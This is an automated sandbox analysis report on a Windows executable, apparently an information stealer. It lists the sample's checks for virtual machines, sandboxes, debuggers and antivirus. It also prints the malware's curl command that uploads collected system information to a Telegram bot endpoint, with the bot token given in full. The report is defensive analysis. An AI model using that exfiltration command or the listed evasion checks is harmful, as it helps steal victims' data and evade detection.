Edit tour

Windows Analysis Report
9KEZfGRjyK.exe

Overview

General Information

Sample name:	9KEZfGRjyK.exe renamed because original name is a hash value
Original sample name:	73b0e64dcc0df2f2ac4d461245021e6a.exe
Analysis ID:	1578571
MD5:	73b0e64dcc0df2f2ac4d461245021e6a
SHA1:	ff75ef00e33fb953964d6bbe1d86d5ad8bb8c9ba
SHA256:	99a4d0ac34848d665529220a0a04edd2753aba9ffe8434286967875d05643400
Tags:	exeuser-meanjellybeanx
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Contain functionality to detect virtual machines

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

9KEZfGRjyK.exe (PID: 7532 cmdline: "C:\Users\user\Desktop\9KEZfGRjyK.exe" MD5: 73B0E64DCC0DF2F2AC4D461245021E6A)

WMIC.exe (PID: 7548 cmdline: "wmic" bios get serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7612 cmdline: "wmic" baseboard get serialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7676 cmdline: "wmic" cpu get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7748 cmdline: "wmic" computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7836 cmdline: "wmic" diskdrive get model,size MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7900 cmdline: "wmic" /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 7964 cmdline: "getmac" MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 8080 cmdline: "systeminfo" MD5: EE309A9C61511E907D87B10EF226FDCD)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8164 cmdline: "tasklist" /m sbiedll.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7296 cmdline: "tasklist" /m dbghelp.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1188 cmdline: "tasklist" /m api_log.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1804 cmdline: "tasklist" /m dir_watch.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 2256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7204 cmdline: "tasklist" /m pstorec.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 4592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4180 cmdline: "tasklist" /m vmcheck.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 4600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7568 cmdline: "tasklist" /m wpespy.dll MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7556 cmdline: "wmic" computersystem get model MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7620 cmdline: "tasklist" /fi "IMAGENAME eq vmtoolsd.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7712 cmdline: "tasklist" /fi "IMAGENAME eq vboxservice.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7772 cmdline: "tasklist" /fi "IMAGENAME eq vboxtray.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7868 cmdline: "wmic" csproduct get identifyingnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5780 cmdline: "curl" -k -F chat_id=-4193710271 -F document=@system_info.txt;filename=528110-4174-1.log https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 7556, StartAddress: 213032B0, TargetImage: C:\Windows\System32\conhost.exe, TargetProcessId: 7556

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for sample

Source: 9KEZfGRjyK.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B901CBF0 BCryptGenRandom,SystemFunction036,BCryptGenRandom,SystemFunction036,

0_2_00007FF7B901CBF0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

Source: 9KEZfGRjyK.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: data.pdb source: 9KEZfGRjyK.exe
Source:	Binary string: data.pdb)444 source: 9KEZfGRjyK.exe

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902EB20 CloseHandle,FindFirstFileW,FindClose,

0_2_00007FF7B902EB20

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument HTTP/1.1Host: api.telegram.orgUser-Agent: curl/7.83.1Accept: */*Content-Length: 3664Content-Type: multipart/form-data; boundary=------------------------cdbe2087272a7b9c

Source: curl.exe, 0000002D.00000003.2464902792.0000025DD64DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument
Source: curl.exe, 0000002D.00000002.2465503271.0000025DD64C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentC:
Source: curl.exe, 0000002D.00000002.2465599836.0000025DD64DF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2464866626.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465157934.0000025DD64DF000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2464902792.0000025DD64DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentLC
Source: curl.exe, 0000002D.00000003.2464866626.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465008395.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000002D.00000003.2465157934.0000025DD64DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocumentapi.telegram.
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4o
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4o.txt1q
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botc
Source: 9KEZfGRjyK.exe, 00000000.00000002.2465951208.0000021FE02CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botctK.exe
Source: 9KEZfGRjyK.exe	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B902F0E0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,		0_2_00007FF7B902F0E0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B902F200 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,		0_2_00007FF7B902F200

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B902FDF0	0_2_00007FF7B902FDF0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B90318F0	0_2_00007FF7B90318F0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9012720	0_2_00007FF7B9012720
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9045A90	0_2_00007FF7B9045A90
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9039AF0	0_2_00007FF7B9039AF0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9043930	0_2_00007FF7B9043930
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9042C20	0_2_00007FF7B9042C20
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9046CA0	0_2_00007FF7B9046CA0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B901FCF0	0_2_00007FF7B901FCF0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B902BB60	0_2_00007FF7B902BB60
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B904EF00	0_2_00007FF7B904EF00
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B902E060	0_2_00007FF7B902E060
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9046080	0_2_00007FF7B9046080
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B903D000	0_2_00007FF7B903D000
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9027130	0_2_00007FF7B9027130
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9041140	0_2_00007FF7B9041140
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B90423B0	0_2_00007FF7B90423B0
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9037520	0_2_00007FF7B9037520
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: 0_2_00007FF7B9011810	0_2_00007FF7B9011810

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: String function: 00007FF7B901F4E0 appears 69 times
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Code function: String function: 00007FF7B90453F0 appears 61 times

Source: system_info.txt.0.dr	Binary string: EC-F4-BB-EA-15-88 \Device\Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: system_info.txt.0.dr	Binary string: Boot Device: \Device\HarddiskVolume1

Source: classification engine

Classification label: mal72.troj.evad.winEXE@64/2@1/2

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Code function: 0_2_00007FF7B902F330 GetModuleHandleW,FormatMessageW,GetLastError,

0_2_00007FF7B902F330

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

File created: C:\Users\user\Desktop\system_info.txt

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7288:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7844:120:WilError_03

Source: 9KEZfGRjyK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE'
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM WIN32_PROCESSOR
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMTOOLSD.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXSERVICE.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VBOXTRAY.EXE'

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\9KEZfGRjyK.exe "C:\Users\user\Desktop\9KEZfGRjyK.exe"
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" bios get serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" baseboard get serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" cpu get name
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" computersystem get totalphysicalmemory
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" diskdrive get model,size
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\getmac.exe "getmac"
Source: C:\Windows\System32\getmac.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\systeminfo.exe "systeminfo"
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m sbiedll.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m api_log.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dir_watch.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m pstorec.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m vmcheck.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m wpespy.dll
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" computersystem get model
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vmtoolsd.exe"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxservice.exe"
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxtray.exe"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
